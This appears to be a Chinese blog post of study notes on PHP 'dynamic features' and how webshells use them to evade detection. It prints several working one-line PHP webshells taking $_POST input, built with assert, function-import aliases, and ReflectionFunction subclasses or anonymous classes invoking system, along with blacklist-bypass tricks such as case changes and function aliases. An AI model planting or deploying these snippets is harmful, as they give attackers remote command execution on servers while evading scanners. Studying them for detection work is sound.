PHP动态特性学习

PHP动态特性学习

主要是学习这个pdf 《PHP动态特性的捕捉与逃逸》github

PHP动态特性的定义是作者所定义的,大概就是说是我们无法确定一段代码或者程序的具体功能,即存在动态性的功能变化,而所用到的几乎所有webshell都会用到动态特性

比如

$arr = [$_GET,$_POST,$_COOKIE];
array_map($callback,...$arr);

如果callback被控制,改成assert等操作,就会变成webshell

  1. PHP是一个大小写不敏感的语言,可以利用大小写绕过对函数的判断,利用函数名大小写,绕过对敏感函数的检测

  2. PHP底层存在一个PHP_FALIAS宏,作用是赋值给一个函数一个新的"别名",比如show_source函数就是highlight_file别名

    PHP动态特性学习

    在PHP7后preg_replace的e模式删除了,但是mbereg_replace的e模式还存在

  3. PHP5.6之后支持函数别名,使用use function a as b来导入a,即下面的b代表a,因此可能会出现下面的木马

    use function \assert as test;
    
    test($_POST[2333]);
    

    或者利用类的继承操作来绕过黑名单

    class test extends ReflectionFunction{}
    $f = new test('system');
    $f->invoke($_POST[2333]);
    

    php7的匿名类

    $f = new class('system') extends ReflectionFunction{}
    $f->invoke($_POST[2333]);
    
上一篇:关于在暑假来二中本部集训这一件事


下一篇:JavaScript中数据类型的转换